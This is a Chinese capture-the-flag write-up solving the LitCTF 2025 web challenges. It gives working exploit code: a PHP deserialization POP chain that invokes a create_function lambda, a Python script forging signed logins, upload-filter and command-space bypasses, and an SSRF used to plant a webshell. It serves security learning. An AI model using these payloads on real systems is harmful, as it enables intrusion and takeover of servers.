2025LitCTF--web全解
web
nest_js
爆破账号密码,admin:password
登入就有flag
星愿信箱
过滤了{{的ssti
多重宇宙日记
注册账号a,a,登入在个人资料处看源代码
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';
const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段
try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});
// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}
因为题目说考原型链污染,根据源码的要求的格式,构造如下payload
easy_file
又是爆破账号密码,admin:password,发现是文件上传,测试过滤了<?php,换成<?就可以
在admin.php下可以存在file参数可以任意文件读取(根据题目名猜的,难绷),并且是include,那么说明读取的文件会被当成php文件执行。
君の名は
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}
利用点就在create_function("", 'die(/readflag
);');,他会生成一个匿名函数,我们的目的就是去掉用这个匿名函数,第一关参考https://chenxi9981.github.io/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/。这里使用的是ReflectionFunction::invoke的方法来实现的原理可以参考https://www.php.net/manual/en/reflectionfunction.invoke.php。
exp:
<?php
class Taki
{
public $musubi;
public $magic;
}
class Mitsuha
{
public $memory;
public $thread;
}
class KatawareDoki
{
public $soul;
public $kuchikamizake;
public $name;
}
$a=new Taki();
$a->musubi=new Mitsuha();
$a->musubi->memory=new KatawareDoki();
$a->musubi->memory->kuchikamizake="ReflectionFunction";
$a->musubi->memory->name="\00lambda_50";//匿名类要在前面加一个空字符
$a->musubi->memory->soul=new Taki();
$a->musubi->memory->soul->musubi='time';//getcwd等也可以,目的就是让return ($this->musubi)();这一步不报错,保证程序完整进行
$a->musubi->memory->soul->magic="invoke";
$aa=new Arrayobject($a);
$payload=serialize($aa);
$payload=str_replace("\00","%00",$payload);
echo $payload;
因为create_function()
会随机创建一个匿名函数(lambda
样式),我们不知道会是多少,所以我上面一lamba_50为序号来进行爆破(这里纠正一下,并不是随机的当我们第一次访问容器时他是lamba_1,随后会随着每次发出请求而加1)
下面给出调试过程
代码
<?php
$test=create_function("","echo \"yes\";");
var_dump($test);
$a = new ReflectionFunction("\00lamba_21");
var_dump($a);
$A = $a->invoke();
echo $A;
?>
可以看到第一次是lamba_1,后面随着每次我的访问他都会加1,直到21是得到了输出。可以看到爆破结果第21号不止出现了一次,那是因为它有个峰值,到了峰值又会回到1,不知道会不会和PHP版本有关,这里用的是php7.4.3,最大次数是500
easy_signin
扫描目录得到login.html,在源码处看到/api.js,得到/api/sys/urlcode.php?url=,(还是队友看到的,要不然就一直卡在非本地用户了)尝试登入,输入admin显示密码错误,爆破密码为admin123,显示签名错误
login.html的登入逻辑
const loginBtn = document.getElementById('loginBtn');
const passwordInput = document.getElementById('password');
const errorTip = document.getElementById('errorTip');
const rawUsername = document.getElementById('username').value;
loginBtn.addEventListener('click', async () => {
const rawPassword = passwordInput.value.trim();
if (!rawPassword) {
errorTip.textContent = '请输入密码';
errorTip.classList.add('show');
passwordInput.focus();
return;
}
const md5Username = CryptoJS.MD5(rawUsername).toString();
const md5Password = CryptoJS.MD5(rawPassword).toString();
const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);
const timestamp = Date.now().toString(); //五分钟
const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
},
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});
const result = await response.json();
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php';
} else {
errorTip.textContent = result.msg;
errorTip.classList.add('show');
passwordInput.value = '';
passwordInput.focus();
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
} catch (error) {
errorTip.textContent = '网络请求失败';
errorTip.classList.add('show');
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});
passwordInput.addEventListener('input', () => {
errorTip.classList.remove('show');
});
发现还需要爆破时间戳,exp
import hashlib
import time
import requests
# 目标地址
url = "http://node9.anna.nssctf.cn:23017/login.php" # ← 改成你的实际地址
# 固定信息
username = "admin"
password = "admin123"
secret_key = "easy_signin"
# 当前时间戳(单位:毫秒)
timestamp = str(int(time.time() * 1000))
# 加密处理
md5_username = hashlib.md5(username.encode()).hexdigest()
md5_password = hashlib.md5(password.encode()).hexdigest()
short_md5_user = md5_username[:6]
short_md5_pass = md5_password[:6]
sign_raw = short_md5_user + short_md5_pass + timestamp + secret_key
sign = hashlib.md5(sign_raw.encode()).hexdigest()
# 构造请求头和数据
headers = {
"X-Sign": sign
}
data = {
"username": md5_username,
"password": md5_password,
"timestamp": timestamp
}
# 发起请求
response = requests.post(url, headers=headers, data=data)
try:
print("[响应状态码]:", response.status_code)
print("[响应内容]:", response.text)
print(timestamp)
print(sign)
except Exception as e:
print("[错误]:", e)
for key, value in response.headers.items():
print(f"{key}: {value}")
成功,浏览器放包得到文件,访问
想到前面的/api/sys/urlcode.php?url=,尝试
/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php
可以执行命令,不能有空格尝试${IFS},没找到flag,尝试写马
上蚁剑
最后
写的不好,佬们轻点喷,有错误请指出